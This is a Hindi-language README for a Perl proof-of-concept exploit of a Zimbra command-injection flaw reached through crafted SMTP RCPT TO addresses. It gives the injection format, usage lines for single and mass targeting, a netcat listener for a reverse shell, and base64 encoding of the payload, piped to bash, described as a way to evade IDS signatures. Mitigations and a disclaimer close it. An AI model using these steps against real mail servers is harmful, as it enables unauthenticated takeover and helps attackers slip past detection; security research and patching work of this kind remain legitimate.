
ज़िम्ब्रा SNMP अधिसूचना OS कमांड इंजेक्शन — SMTP शोषण के माध्यम से बिना प्रमाणीकरण के RCE (PoC)
| फ़ील्ड | मान |
|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 उच्च — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — OS कमांड में प्रयुक्त विशेष तत्वों का अनुचित निष्प्रभावीकरण |
| प्रभावित | Zimbra ZCS < 10.1.20 (zimbra-snmp स्थापित होने पर) |
| समाधान | ZCS 10.1.20 — जुलाई 2026 |
| CISA KEV | 2026-08-21 को जोड़ा गया (FCEB उपचार की अंतिम तिथि: 2026-08-24) |
| प्रमाणीकरण आवश्यक | कोई नहीं |
| निष्पादन के रूप में | zimbra OS उपयोगकर्ता |
वैकल्पिक zimbra-snmp पैकेज एक swatchdog नियम के साथ आता है जो /var/log/zimbra.log को निम्न से मेल खाती पंक्तियों के लिए ट्रैक करता है:
Service status change: <NAME> changed from <STATE> to <STATE>
जब कोई मेल मिलता है, swatchdog कैप्चर किए गए <NAME> फ़ील्ड को बिना किसी स्वच्छता के सीधे SNMP अधिसूचना शेल स्क्रिप्ट में भेजता है।
एक बिना प्रमाणीकृत हमलावर एक विशेष रूप से तैयार SMTP RCPT TO कमांड भेजकर एक निर्मित लॉग प्रविष्टि इंजेक्ट कर सकता है। RFC 5321 उद्धृत स्थानीय-भाग का उपयोग करके, शेल मेटावर्ण — जैसे $(...) — <NAME> के अंदर एम्बेड किए जाते हैं और swatchdog परिणामी लॉग पंक्ति को संसाधित करते समय निष्पादित होते हैं।
लक्ष्य पर भेद्यता का शोषण करने के लिए तीनों शर्तें सत्य होनी चाहिए:
zimbra-snmp पैकेज स्थापित हैsnmp_notify = true)swatchdog सेवा चल रही हैहमलावर Zimbra MTA
│ │
│── TCP कनेक्ट :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── RCPT TO डेटा लॉग करता है ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog पैटर्न से
│ │ मेल खाता है, $(CMD)
│ │ निकालता है, निष्पादित करता है
│◄─────────── शेल कॉलबैक ───────────────────────────────────────┘
RCPT TO के साथ एक मानक SMTP संवाद भेजें।swatchdog लॉग पैटर्न से मेल खाता है और इंजेक्ट किए गए $(CMD) को निकालता है।zimbra OS उपयोगकर्ता के रूप में CMD निष्पादित करता है।cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444
targets.txt — प्रति पंक्ति एक होस्ट, वैकल्पिक :port, # से शुरू होने वाली पंक्तियां अनदेखी की जाती हैं:
mail.example.com
mail.example.com:25
10.0.0.50:587
# अनदेखी टिप्पणी
| फ़्लैग | लंबा | डिफ़ॉल्ट | विवरण |
|---|---|---|---|
-H | --host | — | एकल लक्ष्य होस्टनाम या IP |
-f | --file | — | लक्ष्य सूची वाली फ़ाइल |
-p | --port | 587 | डिफ़ॉल्ट SMTP पोर्ट |
-r | --rhost | — | रिवर्स शेल कॉलबैक के लिए आपका IP |
-R | --rport | 4444 | लिसनर पोर्ट |
-t | --timeout | 15 | सेकंड में सॉकेट टाइमआउट |
-S | --ssl | बंद | प्रत्यक्ष TLS (पोर्ट 465 पर स्वतः सक्षम) |
-v | --verbose | बंद | पूर्ण SMTP संवाद प्रिंट करें |
-L | --logfile | — | सत्र लॉग फ़ाइल में लिखें |
-h | --help | — | सहायता दिखाएं |
# टर्मिनल 1 — लिसनर शुरू करें
nc -lvnp 4444
# टर्मिनल 2 — शोषण चलाएं
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
रिवर्स शेल कमांड इंजेक्शन से पहले base64-एन्कोडेड होता है:
echo <b64>|base64 -d|bash
यह IDS/IPS को /dev/tcp, bash -i, या nc -e जैसे सादे पाठ हस्ताक्षरों से मेल खाने से रोकता है। एन्कोडेड ब्लॉब को RCPT TO के उद्धृत स्थानीय-भाग के अंदर $(...) के रूप में इंजेक्ट किया जाता है, जो swatchdog लॉग प्रविष्टि को संसाधित करते समय सर्वर-साइड निष्पादन को ट्रिगर करता है।
| कार्रवाई | विवरण |
|---|---|
| पैच | Zimbra ZCS ≥ 10.1.20 में अपग्रेड करें |
| SNMP अधिसूचना अक्षम करें | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| पैकेज हटाएं | apt remove zimbra-snmp / yum remove zimbra-snmp |
| नेटवर्क नियंत्रण | जहां परिचालन रूप से संभव हो, इनबाउंड SMTP (25/465/587) को विश्वसनीय रिले तक सीमित करें |
यह प्रूफ-ऑफ-कॉन्सेप्ट केवल अधिकृत सुरक्षा परीक्षण, शैक्षणिक अनुसंधान और रक्षात्मक उद्देश्यों के लिए जारी किया गया है।
इसे उन प्रणालियों के विरुद्ध चलाना जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, अवैध है।
लेखक इस उपकरण के किसी भी दुरुपयोग या क्षति के लिए कोई दायित्व नहीं लेता है।